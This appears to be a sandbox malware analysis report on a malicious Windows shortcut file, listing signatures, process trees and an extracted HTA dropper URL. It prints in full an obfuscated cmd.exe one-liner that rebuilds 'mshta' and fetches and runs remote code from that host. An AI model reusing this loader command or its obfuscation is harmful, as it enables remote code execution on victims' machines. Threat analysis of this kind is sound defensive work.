Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:30

General

  • Target
    DOC-XD8VD9.lnk
  • Size 2KB
  • Sample260804-keeexavgqa
  • SHA256 2760a4e40e7f6c1b280600665ef19b43f18d6950c5b0c8c8c0c988a4bdcf51e3
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-XD8VD9.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5844
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set II=bakqmqueolbdywhpsrtbak&set uvo=tmpvzywtzuslveujbemwtmp&set Mgwd=cfgoftsfyqpqaazkoffscfg&set sjsz=ta0src&&set qV=k4rtarqew&&set gUA=xt4u&set LVRfk=oldljtxjrvgjold&set lcZ=cfgfvfnredusmcvqmdttcfg&set aQzGU=infeenzyosunnkcmrrnoinf&set VzKGR=zumtbh&&set XOqR=tseqj&&set LhZm=phta6v&set Wwa=sysdmaisikyebfehfautsys&&set polF=ht@t@ps:/@/ma@-p@[email protected]/h@/e@st@ag@io1.@php@?@r@=391469@F@B5@D82DB&&start /b !VzKGR:~2,1!!XOqR:~1,1!!LhZm:~1,3! !polF:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:948
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:124

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads